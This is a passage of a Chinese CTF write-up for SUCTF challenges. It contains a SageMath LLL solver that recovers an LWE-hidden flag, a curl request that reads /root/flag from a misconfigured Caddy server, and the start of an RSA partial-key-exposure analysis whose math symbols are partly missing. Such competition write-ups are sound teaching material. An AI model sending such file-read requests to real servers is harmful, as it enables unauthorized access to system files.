&nbsp; &nbsp; &nbsp; &nbsp; val = (val - M_full[j][idx] * char_val) % q
&nbsp; &nbsp; for i in range(n_unk):
&nbsp; &nbsp; &nbsp; &nbsp; val = (val - A[j][i] * center) % q
&nbsp; &nbsp; Y_shift.append(val % q)

dim = m_eq + n_unk + 1
B = matrix(ZZ, dim, dim)
for i in range(m_eq): B[i, i] = q
for i in range(n_unk):
&nbsp; &nbsp; for j in range(m_eq): B[m_eq + i, j] = A[j][i]
&nbsp; &nbsp; B[m_eq + i, m_eq + i] = 1
for j in range(m_eq): B[dim-1, j] = Y_shift[j]
B[dim-1, dim-1] = 1

L = B.LLL()

for row in L:
&nbsp; &nbsp; if row[-1] == 1 or row[-1] == -1:
&nbsp; &nbsp; &nbsp; &nbsp; res = []
&nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for i in range(n_unk):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; val = int(row[m_eq + i] * (-row[-1]) + center)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res.append(chr(val))

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flag = list(" " * 41)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for k, v in known.items(): flag[k] = chr(v)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for i, idx in enumerate(unknown_indices): flag[idx] = res[i]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print("FOUND FLAG: " + "".join(flag))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; &nbsp; &nbsp; except:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue
"""

# 解决 GBK 编码报错的关键:指定 encoding='utf-8'
with&nbsp;open("solve.sage",&nbsp;"w", encoding="utf-8")&nbsp;as&nbsp;f:
&nbsp; &nbsp; f.write(sage_code)

print("[+] solve.sage 生成成功!请在 SageMath 环境中运行它。")
# 这里的 A 是提取出的未知数系数矩阵
A = [[272085609,&nbsp;396383543,&nbsp;494007031,&nbsp;399040219,&nbsp;972748986,&nbsp;202296425,&nbsp;459920354,&nbsp;437403861,&nbsp;356326966,&nbsp;666843844,&nbsp;877599892,&nbsp;680254806,&nbsp;645585801,&nbsp;626545139,&nbsp;206531981,&nbsp;908135784,&nbsp;816576189,&nbsp;78610148,&nbsp;510680865,&nbsp;201299987,&nbsp;607940449,&nbsp;16261592,&nbsp;157905522,&nbsp;491418849,&nbsp;842887548,&nbsp;841685693,&nbsp;761777730,&nbsp;708342844,&nbsp;229302299,&nbsp;543241653,&nbsp;380201556,&nbsp;334286757,&nbsp;285636155,&nbsp;890447872], [342168522,&nbsp;466246804,&nbsp;339496013,&nbsp;467020982,&nbsp;830279474,&nbsp;550004483,&nbsp;359897321,&nbsp;736237555,&nbsp;225884707,&nbsp;425532367,&nbsp;212801740,&nbsp;784117828,&nbsp;145425703,&nbsp;610944881,&nbsp;62012474,&nbsp;174389776,&nbsp;543546294,&nbsp;830519816,&nbsp;713373251,&nbsp;95306386,&nbsp;623520767,&nbsp;402715508,&nbsp;333330620,&nbsp;610916449,&nbsp;460943872,&nbsp;556797782,&nbsp;576863320,&nbsp;329578125,&nbsp;457423258,&nbsp;905008424,&nbsp;961277011,&nbsp;233003641,&nbsp;643222287,&nbsp;322224784], [531659256,&nbsp;284048271,&nbsp;533371813,&nbsp;819032061,&nbsp;156632178,&nbsp;242314153,&nbsp;304350797,&nbsp;749519070,&nbsp;935918215,&nbsp;953941188,&nbsp;747780799,&nbsp;653323288,&nbsp;822510707,&nbsp;613606008,&nbsp;599963486,&nbsp;617807025,&nbsp;94392981,&nbsp;194809503,&nbsp;478128663,&nbsp;232259576,&nbsp;882583088,&nbsp;521449091,&nbsp;388441007,&nbsp;986726029,&nbsp;350944685,&nbsp;865324066,&nbsp;243307846,&nbsp;26813300,&nbsp;488857440,&nbsp;3346686,&nbsp;838345404,&nbsp;233857372,&nbsp;877138132,&nbsp;31102178], [759193624,&nbsp;862945881,&nbsp;742401799,&nbsp;686636745,&nbsp;394692947,&nbsp;994924687,&nbsp;758861077,&nbsp;942408095,&nbsp;707073274,&nbsp;962337380,&nbsp;637284547,&nbsp;900853497,&nbsp;774322803,&nbsp;614111157,&nbsp;425321264,&nbsp;86593130,&nbsp;750498916,&nbsp;241600472,&nbsp;703399525,&nbsp;242786558,&nbsp;805493922,&nbsp;417452151,&nbsp;873050399,&nbsp;564166018,&nbsp;165518350,&nbsp;260354709,&nbsp;548847789,&nbsp;768530909,&nbsp;802689452,&nbsp;658809962,&nbsp;509036439,&nbsp;556229762,&nbsp;174336204,&nbsp;724265949], [289014972,&nbsp;275952382,&nbsp;474466721,&nbsp;711905666,&nbsp;41969027,&nbsp;934244555,&nbsp;869105550,&nbsp;715497227,&nbsp;437168295,&nbsp;762393939,&nbsp;614761761,&nbsp;87672075,&nbsp;583605478,&nbsp;996801119,&nbsp;502924882,&nbsp;820877041,&nbsp;670210003,&nbsp;60717591,&nbsp;878647750,&nbsp;258585708,&nbsp;137559160,&nbsp;771774661,&nbsp;164490380,&nbsp;772155598,&nbsp;12264616,&nbsp;390856621,&nbsp;965984923,&nbsp;485680995,&nbsp;474826766,&nbsp;85722717,&nbsp;14931854,&nbsp;62688537,&nbsp;30294029,&nbsp;327031992], [926397935,&nbsp;52395077,&nbsp;321599694,&nbsp;717870203,&nbsp;18308744,&nbsp;571097191,&nbsp;139405523,&nbsp;855342923,&nbsp;571232554,&nbsp;26498702,&nbsp;809160471,&nbsp;211270633,&nbsp;407674796,&nbsp;445552816,&nbsp;992056817,&nbsp;222305947,&nbsp;952509236,&nbsp;768770636,&nbsp;452875394,&nbsp;376074943,&nbsp;755807035,&nbsp;525986808,&nbsp;764415001,&nbsp;385283319,&nbsp;232844972,&nbsp;836089046,&nbsp;339517913,&nbsp;232981440,&nbsp;529081892,&nbsp;44753025,&nbsp;875864153,&nbsp;807945308,&nbsp;416507379,&nbsp;548695807], [882930955,&nbsp;330143448,&nbsp;668524660,&nbsp;967038996,&nbsp;254377365,&nbsp;112197009,&nbsp;306896968,&nbsp;637828608,&nbsp;299080031,&nbsp;369249803,&nbsp;217935565,&nbsp;97516953,&nbsp;226083028,&nbsp;554480529,&nbsp;730994831,&nbsp;146428624,&nbsp;795251876,&nbsp;491960916,&nbsp;711667794,&nbsp;178943730,&nbsp;605580494,&nbsp;322284866,&nbsp;670204563,&nbsp;98737636,&nbsp;483536697,&nbsp;864480720,&nbsp;228727271,&nbsp;246371566,&nbsp;613246860,&nbsp;633674268,&nbsp;746713635,&nbsp;718040498,&nbsp;517435838,&nbsp;550135994], [57813164,&nbsp;965506478,&nbsp;660853422,&nbsp;937321249,&nbsp;432271391,&nbsp;29574460,&nbsp;570700590,&nbsp;861521763,&nbsp;911400844,&nbsp;301891372,&nbsp;345895190,&nbsp;293853422,&nbsp;20776806,&nbsp;697446128,&nbsp;423282280,&nbsp;363577477,&nbsp;98915697,&nbsp;631927857,&nbsp;682727485,&nbsp;983866043,&nbsp;761761673,&nbsp;358514355,&nbsp;549569155,&nbsp;482984849,&nbsp;782589004,&nbsp;646956175,&nbsp;802715397,&nbsp;759238958,&nbsp;942983760,&nbsp;901483550,&nbsp;647706115,&nbsp;531318728,&nbsp;501669776,&nbsp;351763824], [197516954,&nbsp;273536870,&nbsp;346299864,&nbsp;842386688,&nbsp;778958588,&nbsp;846882146,&nbsp;849581066,&nbsp;893482406,&nbsp;584963875,&nbsp;68184106,&nbsp;865387856,&nbsp;631394988,&nbsp;704610882,&nbsp;906774629,&nbsp;690285617,&nbsp;921896383,&nbsp;468897126,&nbsp;249727015,&nbsp;611369545,&nbsp;682940389,&nbsp;747571735,&nbsp;804240196,&nbsp;114766745,&nbsp;699075626,&nbsp;298505420,&nbsp;9204552,&nbsp;148660103,&nbsp;658319408,&nbsp;151967420,&nbsp;288449611,&nbsp;465960106,&nbsp;63110968,&nbsp;951009024,&nbsp;206270474], [167879818,&nbsp;278009125,&nbsp;251956693,&nbsp;44914366,&nbsp;899661547,&nbsp;454751618,&nbsp;629512126,&nbsp;474716667,&nbsp;38933780,&nbsp;318903764,&nbsp;607453011,&nbsp;192482933,&nbsp;939805290,&nbsp;848600448,&nbsp;183498197,&nbsp;455693111,&nbsp;986959517,&nbsp;829164635,&nbsp;691256285,&nbsp;377430513,&nbsp;903052014,&nbsp;254612147,&nbsp;958067049,&nbsp;314825871,&nbsp;603247775,&nbsp;855367656,&nbsp;50912455,&nbsp;670214511,&nbsp;914596257,&nbsp;771250298,&nbsp;298741945,&nbsp;398729874,&nbsp;845361568,&nbsp;941859065], [843688678,&nbsp;933848617,&nbsp;550841413,&nbsp;189580833,&nbsp;490554284,&nbsp;667125955,&nbsp;658916435,&nbsp;151995543,&nbsp;124602487,&nbsp;36734711,&nbsp;314582313,&nbsp;18888867,&nbsp;197923971,&nbsp;160426642,&nbsp;873583494,&nbsp;128025435,&nbsp;601084231,&nbsp;882563937,&nbsp;615538980,&nbsp;421673048,&nbsp;345657807,&nbsp;478880324,&nbsp;23118858,&nbsp;614132257,&nbsp;571076579,&nbsp;212291448,&nbsp;764444169,&nbsp;817190780,&nbsp;28443821,&nbsp;125352400,&nbsp;786072270,&nbsp;556063878,&nbsp;743063118,&nbsp;415730806], [994253036,&nbsp;770760868,&nbsp;7261873,&nbsp;837234960,&nbsp;763554389,&nbsp;264752798,&nbsp;59733439,&nbsp;446454747,&nbsp;143440475,&nbsp;410958898,&nbsp;507038478,&nbsp;868512721,&nbsp;538559897,&nbsp;569814514,&nbsp;511775925,&nbsp;543638171,&nbsp;269922484,&nbsp;573548454,&nbsp;910422551,&nbsp;427325639,&nbsp;970818539,&nbsp;869274668,&nbsp;852786776,&nbsp;157731472,&nbsp;987217931,&nbsp;341034065,&nbsp;660472226,&nbsp;360873313,&nbsp;118501065,&nbsp;421847405,&nbsp;159140285,&nbsp;119119815,&nbsp;150645714,&nbsp;78764345], [730677180,&nbsp;706085831,&nbsp;124205736,&nbsp;690268997,&nbsp;196373485,&nbsp;87140182,&nbsp;880039597,&nbsp;976030377,&nbsp;758768544,&nbsp;797413203,&nbsp;918763829,&nbsp;289577194,&nbsp;298054864,&nbsp;274621268,&nbsp;710884778,&nbsp;159784166,&nbsp;681645295,&nbsp;991420359,&nbsp;5759185,&nbsp;94071487,&nbsp;755254030,&nbsp;774945968,&nbsp;831026728,&nbsp;26510261,&nbsp;71681450,&nbsp;29501237,&nbsp;631075315,&nbsp;866897175,&nbsp;246471988,&nbsp;637614623,&nbsp;96538480,&nbsp;229781635,&nbsp;488020613,&nbsp;879243105], [984785562,&nbsp;341534572,&nbsp;829855465,&nbsp;789286983,&nbsp;466535875,&nbsp;55064090,&nbsp;570102797,&nbsp;271797897,&nbsp;35598667,&nbsp;177280558,&nbsp;346667162,&nbsp;939356648,&nbsp;913829739,&nbsp;961696302,&nbsp;595595027,&nbsp;434151076,&nbsp;857863514,&nbsp;627057271,&nbsp;693196207,&nbsp;799470737,&nbsp;231781095,&nbsp;547998617,&nbsp;762033944,&nbsp;150666539,&nbsp;954496839,&nbsp;262339699,&nbsp;903626605,&nbsp;878177499,&nbsp;867478468,&nbsp;141915798,&nbsp;824930408,&nbsp;285831943,&nbsp;222151178,&nbsp;864168621], [726214834,&nbsp;164000474,&nbsp;294813334,&nbsp;84381864,&nbsp;715903724,&nbsp;987942037,&nbsp;285333617,&nbsp;666071967,&nbsp;177567979,&nbsp;916487119,&nbsp;267424637,&nbsp;996619298,&nbsp;760071636,&nbsp;989184136,&nbsp;652724561,&nbsp;31317495,&nbsp;625044613,&nbsp;344770082,&nbsp;376784465,&nbsp;3104322,&nbsp;181888954,&nbsp;47047228,&nbsp;625109,&nbsp;783490676,&nbsp;303601480,&nbsp;95680835,&nbsp;435772271,&nbsp;715975111,&nbsp;583674735,&nbsp;240708702,&nbsp;561015569,&nbsp;716165750,&nbsp;137495064,&nbsp;916161971]]
Y = [776038603,&nbsp;454677179,&nbsp;277026269,&nbsp;279042526,&nbsp;78728856,&nbsp;784454706,&nbsp;29243312,&nbsp;291698200,&nbsp;137468500,&nbsp;236943731,&nbsp;733036662,&nbsp;421311403,&nbsp;340527174,&nbsp;804823668,&nbsp;379367062]
M_full = [[850347478,&nbsp;153478035,&nbsp;93496111,&nbsp;364510530,&nbsp;273912907,&nbsp;512020466,&nbsp;272085609,&nbsp;396383543,&nbsp;494007031,&nbsp;399040219,&nbsp;972748986,&nbsp;202296425,&nbsp;459920354,&nbsp;437403861,&nbsp;356326966,&nbsp;666843844,&nbsp;877599892,&nbsp;680254806,&nbsp;645585801,&nbsp;626545139,&nbsp;206531981,&nbsp;908135784,&nbsp;816576189,&nbsp;78610148,&nbsp;510680865,&nbsp;201299987,&nbsp;607940449,&nbsp;16261592,&nbsp;157905522,&nbsp;491418849,&nbsp;842887548,&nbsp;841685693,&nbsp;761777730,&nbsp;708342844,&nbsp;229302299,&nbsp;543241653,&nbsp;380201556,&nbsp;334286757,&nbsp;285636155,&nbsp;890447872,&nbsp;837182682], [269070292,&nbsp;424495740,&nbsp;72880630,&nbsp;691996708,&nbsp;556465802,&nbsp;260921977,&nbsp;342168522,&nbsp;466246804,&nbsp;339496013,&nbsp;467020982,&nbsp;830279474,&nbsp;550004483,&nbsp;359897321,&nbsp;736237555,&nbsp;225884707,&nbsp;425532367,&nbsp;212801740,&nbsp;784117828,&nbsp;145425703,&nbsp;610944881,&nbsp;62012474,&nbsp;174389776,&nbsp;543546294,&nbsp;830519816,&nbsp;713373251,&nbsp;95306386,&nbsp;623520767,&nbsp;402715508,&nbsp;333330620,&nbsp;610916449,&nbsp;460943872,&nbsp;556797782,&nbsp;576863320,&nbsp;329578125,&nbsp;457423258,&nbsp;905008424,&nbsp;961277011,&nbsp;233003641,&nbsp;643222287,&nbsp;322224784,&nbsp;437220574], [693526370,&nbsp;703750546,&nbsp;794040162,&nbsp;246244974,&nbsp;599474087,&nbsp;259002772,&nbsp;531659256,&nbsp;284048271,&nbsp;533371813,&nbsp;819032061,&nbsp;156632178,&nbsp;242314153,&nbsp;304350797,&nbsp;749519070,&nbsp;935918215,&nbsp;953941188,&nbsp;747780799,&nbsp;653323288,&nbsp;822510707,&nbsp;613606008,&nbsp;599963486,&nbsp;617807025,&nbsp;94392981,&nbsp;194809503,&nbsp;478128663,&nbsp;232259576,&nbsp;882583088,&nbsp;521449091,&nbsp;388441007,&nbsp;986726029,&nbsp;350944685,&nbsp;865324066,&nbsp;243307846,&nbsp;26813300,&nbsp;488857440,&nbsp;3346686,&nbsp;838345404,&nbsp;233857372,&nbsp;877138132,&nbsp;31102178,&nbsp;429815619], [496270180,&nbsp;512211050,&nbsp;994901341,&nbsp;736589709,&nbsp;469247295,&nbsp;40097736,&nbsp;759193624,&nbsp;862945881,&nbsp;742401799,&nbsp;686636745,&nbsp;394692947,&nbsp;994924687,&nbsp;758861077,&nbsp;942408095,&nbsp;707073274,&nbsp;962337380,&nbsp;637284547,&nbsp;900853497,&nbsp;774322803,&nbsp;614111157,&nbsp;425321264,&nbsp;86593130,&nbsp;750498916,&nbsp;241600472,&nbsp;703399525,&nbsp;242786558,&nbsp;805493922,&nbsp;417452151,&nbsp;873050399,&nbsp;564166018,&nbsp;165518350,&nbsp;260354709,&nbsp;548847789,&nbsp;768530909,&nbsp;802689452,&nbsp;658809962,&nbsp;509036439,&nbsp;556229762,&nbsp;174336204,&nbsp;724265949,&nbsp;68415724], [787322204,&nbsp;913570856,&nbsp;417107470,&nbsp;626219213,&nbsp;211952775,&nbsp;928616400,&nbsp;289014972,&nbsp;275952382,&nbsp;474466721,&nbsp;711905666,&nbsp;41969027,&nbsp;934244555,&nbsp;869105550,&nbsp;715497227,&nbsp;437168295,&nbsp;762393939,&nbsp;614761761,&nbsp;87672075,&nbsp;583605478,&nbsp;996801119,&nbsp;502924882,&nbsp;820877041,&nbsp;670210003,&nbsp;60717591,&nbsp;878647750,&nbsp;258585708,&nbsp;137559160,&nbsp;771774661,&nbsp;164490380,&nbsp;772155598,&nbsp;12264616,&nbsp;390856621,&nbsp;965984923,&nbsp;485680995,&nbsp;474826766,&nbsp;85722717,&nbsp;14931854,&nbsp;62688537,&nbsp;30294029,&nbsp;327031992,&nbsp;877464957], [987225195,&nbsp;372465703,&nbsp;266990321,&nbsp;446505604,&nbsp;708663463,&nbsp;363903304,&nbsp;926397935,&nbsp;52395077,&nbsp;321599694,&nbsp;717870203,&nbsp;18308744,&nbsp;571097191,&nbsp;139405523,&nbsp;855342923,&nbsp;571232554,&nbsp;26498702,&nbsp;809160471,&nbsp;211270633,&nbsp;407674796,&nbsp;445552816,&nbsp;992056817,&nbsp;222305947,&nbsp;952509236,&nbsp;768770636,&nbsp;452875394,&nbsp;376074943,&nbsp;755807035,&nbsp;525986808,&nbsp;764415001,&nbsp;385283319,&nbsp;232844972,&nbsp;836089046,&nbsp;339517913,&nbsp;232981440,&nbsp;529081892,&nbsp;44753025,&nbsp;875864153,&nbsp;807945308,&nbsp;416507379,&nbsp;548695807,&nbsp;613225460], [268150137,&nbsp;74442459,&nbsp;526445844,&nbsp;669258921,&nbsp;64957034,&nbsp;428055000,&nbsp;882930955,&nbsp;330143448,&nbsp;668524660,&nbsp;967038996,&nbsp;254377365,&nbsp;112197009,&nbsp;306896968,&nbsp;637828608,&nbsp;299080031,&nbsp;369249803,&nbsp;217935565,&nbsp;97516953,&nbsp;226083028,&nbsp;554480529,&nbsp;730994831,&nbsp;146428624,&nbsp;795251876,&nbsp;491960916,&nbsp;711667794,&nbsp;178943730,&nbsp;605580494,&nbsp;322284866,&nbsp;670204563,&nbsp;98737636,&nbsp;483536697,&nbsp;864480720,&nbsp;228727271,&nbsp;246371566,&nbsp;613246860,&nbsp;633674268,&nbsp;746713635,&nbsp;718040498,&nbsp;517435838,&nbsp;550135994,&nbsp;26659456], [582433459,&nbsp;715580380,&nbsp;205187634,&nbsp;316752893,&nbsp;639069617,&nbsp;109533172,&nbsp;57813164,&nbsp;965506478,&nbsp;660853422,&nbsp;937321249,&nbsp;432271391,&nbsp;29574460,&nbsp;570700590,&nbsp;861521763,&nbsp;911400844,&nbsp;301891372,&nbsp;345895190,&nbsp;293853422,&nbsp;20776806,&nbsp;697446128,&nbsp;423282280,&nbsp;363577477,&nbsp;98915697,&nbsp;631927857,&nbsp;682727485,&nbsp;983866043,&nbsp;761761673,&nbsp;358514355,&nbsp;549569155,&nbsp;482984849,&nbsp;782589004,&nbsp;646956175,&nbsp;802715397,&nbsp;759238958,&nbsp;942983760,&nbsp;901483550,&nbsp;647706115,&nbsp;531318728,&nbsp;501669776,&nbsp;351763824,&nbsp;669699043], [253889306,&nbsp;609023434,&nbsp;349015095,&nbsp;972735501,&nbsp;592574525,&nbsp;503120813,&nbsp;197516954,&nbsp;273536870,&nbsp;346299864,&nbsp;842386688,&nbsp;778958588,&nbsp;846882146,&nbsp;849581066,&nbsp;893482406,&nbsp;584963875,&nbsp;68184106,&nbsp;865387856,&nbsp;631394988,&nbsp;704610882,&nbsp;906774629,&nbsp;690285617,&nbsp;921896383,&nbsp;468897126,&nbsp;249727015,&nbsp;611369545,&nbsp;682940389,&nbsp;747571735,&nbsp;804240196,&nbsp;114766745,&nbsp;699075626,&nbsp;298505420,&nbsp;9204552,&nbsp;148660103,&nbsp;658319408,&nbsp;151967420,&nbsp;288449611,&nbsp;465960106,&nbsp;63110968,&nbsp;951009024,&nbsp;206270474,&nbsp;475400885], [476181548,&nbsp;830982897,&nbsp;133750260,&nbsp;399565756,&nbsp;951062931,&nbsp;783150923,&nbsp;167879818,&nbsp;278009125,&nbsp;251956693,&nbsp;44914366,&nbsp;899661547,&nbsp;454751618,&nbsp;629512126,&nbsp;474716667,&nbsp;38933780,&nbsp;318903764,&nbsp;607453011,&nbsp;192482933,&nbsp;939805290,&nbsp;848600448,&nbsp;183498197,&nbsp;455693111,&nbsp;986959517,&nbsp;829164635,&nbsp;691256285,&nbsp;377430513,&nbsp;903052014,&nbsp;254612147,&nbsp;958067049,&nbsp;314825871,&nbsp;603247775,&nbsp;855367656,&nbsp;50912455,&nbsp;670214511,&nbsp;914596257,&nbsp;771250298,&nbsp;298741945,&nbsp;398729874,&nbsp;845361568,&nbsp;941859065,&nbsp;501130606], [654241964,&nbsp;968328672,&nbsp;483393176,&nbsp;891254926,&nbsp;347868552,&nbsp;475812040,&nbsp;843688678,&nbsp;933848617,&nbsp;550841413,&nbsp;189580833,&nbsp;490554284,&nbsp;667125955,&nbsp;658916435,&nbsp;151995543,&nbsp;124602487,&nbsp;36734711,&nbsp;314582313,&nbsp;18888867,&nbsp;197923971,&nbsp;160426642,&nbsp;873583494,&nbsp;128025435,&nbsp;601084231,&nbsp;882563937,&nbsp;615538980,&nbsp;421673048,&nbsp;345657807,&nbsp;478880324,&nbsp;23118858,&nbsp;614132257,&nbsp;571076579,&nbsp;212291448,&nbsp;764444169,&nbsp;817190780,&nbsp;28443821,&nbsp;125352400,&nbsp;786072270,&nbsp;556063878,&nbsp;743063118,&nbsp;415730806,&nbsp;489510110], [978880344,&nbsp;500336061,&nbsp;392296848,&nbsp;211036623,&nbsp;896105016,&nbsp;157707319,&nbsp;994253036,&nbsp;770760868,&nbsp;7261873,&nbsp;837234960,&nbsp;763554389,&nbsp;264752798,&nbsp;59733439,&nbsp;446454747,&nbsp;143440475,&nbsp;410958898,&nbsp;507038478,&nbsp;868512721,&nbsp;538559897,&nbsp;569814514,&nbsp;511775925,&nbsp;543638171,&nbsp;269922484,&nbsp;573548454,&nbsp;910422551,&nbsp;427325639,&nbsp;970818539,&nbsp;869274668,&nbsp;852786776,&nbsp;157731472,&nbsp;987217931,&nbsp;341034065,&nbsp;660472226,&nbsp;360873313,&nbsp;118501065,&nbsp;421847405,&nbsp;159140285,&nbsp;119119815,&nbsp;150645714,&nbsp;78764345,&nbsp;245797401], [229103030,&nbsp;68941404,&nbsp;765241321,&nbsp;255990132,&nbsp;871011073,&nbsp;261814548,&nbsp;730677180,&nbsp;706085831,&nbsp;124205736,&nbsp;690268997,&nbsp;196373485,&nbsp;87140182,&nbsp;880039597,&nbsp;976030377,&nbsp;758768544,&nbsp;797413203,&nbsp;918763829,&nbsp;289577194,&nbsp;298054864,&nbsp;274621268,&nbsp;710884778,&nbsp;159784166,&nbsp;681645295,&nbsp;991420359,&nbsp;5759185,&nbsp;94071487,&nbsp;755254030,&nbsp;774945968,&nbsp;831026728,&nbsp;26510261,&nbsp;71681450,&nbsp;29501237,&nbsp;631075315,&nbsp;866897175,&nbsp;246471988,&nbsp;637614623,&nbsp;96538480,&nbsp;229781635,&nbsp;488020613,&nbsp;879243105,&nbsp;826567643], [294034962,&nbsp;118449019,&nbsp;39770890,&nbsp;837770816,&nbsp;817378388,&nbsp;836873817,&nbsp;984785562,&nbsp;341534572,&nbsp;829855465,&nbsp;789286983,&nbsp;466535875,&nbsp;55064090,&nbsp;570102797,&nbsp;271797897,&nbsp;35598667,&nbsp;177280558,&nbsp;346667162,&nbsp;939356648,&nbsp;913829739,&nbsp;961696302,&nbsp;595595027,&nbsp;434151076,&nbsp;857863514,&nbsp;627057271,&nbsp;693196207,&nbsp;799470737,&nbsp;231781095,&nbsp;547998617,&nbsp;762033944,&nbsp;150666539,&nbsp;954496839,&nbsp;262339699,&nbsp;903626605,&nbsp;878177499,&nbsp;867478468,&nbsp;141915798,&nbsp;824930408,&nbsp;285831943,&nbsp;222151178,&nbsp;864168621,&nbsp;869678559], [700881229,&nbsp;739712429,&nbsp;857326633,&nbsp;651373376,&nbsp;983540409,&nbsp;725022146,&nbsp;726214834,&nbsp;164000474,&nbsp;294813334,&nbsp;84381864,&nbsp;715903724,&nbsp;987942037,&nbsp;285333617,&nbsp;666071967,&nbsp;177567979,&nbsp;916487119,&nbsp;267424637,&nbsp;996619298,&nbsp;760071636,&nbsp;989184136,&nbsp;652724561,&nbsp;31317495,&nbsp;625044613,&nbsp;344770082,&nbsp;376784465,&nbsp;3104322,&nbsp;181888954,&nbsp;47047228,&nbsp;625109,&nbsp;783490676,&nbsp;303601480,&nbsp;95680835,&nbsp;435772271,&nbsp;715975111,&nbsp;583674735,&nbsp;240708702,&nbsp;561015569,&nbsp;716165750,&nbsp;137495064,&nbsp;916161971,&nbsp;48259994]]
q =&nbsp;1000000007
known = {0:&nbsp;83,&nbsp;1:&nbsp;85,&nbsp;2:&nbsp;67,&nbsp;3:&nbsp;84,&nbsp;4:&nbsp;70,&nbsp;5:&nbsp;123,&nbsp;40:&nbsp;125}
unknown_indices = [6,&nbsp;7,&nbsp;8,&nbsp;9,&nbsp;10,&nbsp;11,&nbsp;12,&nbsp;13,&nbsp;14,&nbsp;15,&nbsp;16,&nbsp;17,&nbsp;18,&nbsp;19,&nbsp;20,&nbsp;21,&nbsp;22,&nbsp;23,&nbsp;24,&nbsp;25,&nbsp;26,&nbsp;27,&nbsp;28,&nbsp;29,&nbsp;30,&nbsp;31,&nbsp;32,&nbsp;33,&nbsp;34,&nbsp;35,&nbsp;36,&nbsp;37,&nbsp;38,&nbsp;39]

m_eq = len(A)
n_unk = len(A[0])
center =&nbsp;75

Y_shift = []
for&nbsp;j&nbsp;in&nbsp;range(m_eq):
&nbsp; &nbsp; val = Y[j]
&nbsp; &nbsp;&nbsp;for&nbsp;idx, char_val&nbsp;in&nbsp;known.items():
&nbsp; &nbsp; &nbsp; &nbsp; val = (val - M_full[j][idx] * char_val) % q
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(n_unk):
&nbsp; &nbsp; &nbsp; &nbsp; val = (val - A[j][i] * center) % q
&nbsp; &nbsp; Y_shift.append(val % q)

dim = m_eq + n_unk +&nbsp;1
B = matrix(ZZ, dim, dim)
for&nbsp;i&nbsp;in&nbsp;range(m_eq): B[i, i] = q
for&nbsp;i&nbsp;in&nbsp;range(n_unk):
&nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(m_eq): B[m_eq + i, j] = A[j][i]
&nbsp; &nbsp; B[m_eq + i, m_eq + i] =&nbsp;1
for&nbsp;j&nbsp;in&nbsp;range(m_eq): B[dim-1, j] = Y_shift[j]
B[dim-1, dim-1] =&nbsp;1

L = B.LLL()

for&nbsp;row&nbsp;in&nbsp;L:
&nbsp; &nbsp;&nbsp;if&nbsp;row[-1] ==&nbsp;1&nbsp;or&nbsp;row[-1] ==&nbsp;-1:
&nbsp; &nbsp; &nbsp; &nbsp; res = []
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(n_unk):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; val = int(row[m_eq + i] * (-row[-1]) + center)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res.append(chr(val))

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flag = list(" "&nbsp;*&nbsp;41)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;k, v&nbsp;in&nbsp;known.items(): flag[k] = chr(v)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i, idx&nbsp;in&nbsp;enumerate(unknown_indices): flag[idx] = res[i]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print("FOUND FLAG: "&nbsp;+&nbsp;"".join(flag))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

FOUND FLAG: SUCTF{PyT0rch_m0del_c4n_h1d3_LWE_pr0bl3m}

题目:SU_Thief 配置不当导致任意文件读取

(做这题想笑😀,后面没招了访问/root/flag怎么就有flag了,当时在想真这么简单?后面做完RSA回头访问又没有了) 使用 curl 直接访问:

curl -i http://156.239.26.40:13333/root/flag

返回 HTTP 200 并直接输出了 flag 内容:

HTTP/1.1 200 OK
Content-Length: 36
Server: Caddy
...

SUCTF{c4ddy_4dm1n_4p1_2019_pr1v35c}

题目:SU_RSA

题目信息考点:RSA 密码学、部分密钥泄露 (Partial Key Exposure)、小  攻击、二元 Coppersmith 定理 (Herrmann-May 方法)、LLL 格规约。特征:已知  较小(),且题目给出了  的高位信息 (抹除了低  位)。漏洞分析题目生成参数的逻辑如下: 为 1024 bit 的 RSA 模数。 为小私钥,大小约为 。 包含了  的高位:S = p + q – (p + q) % (2**int(bits * gamma))。根据 RSA 的核心等式:

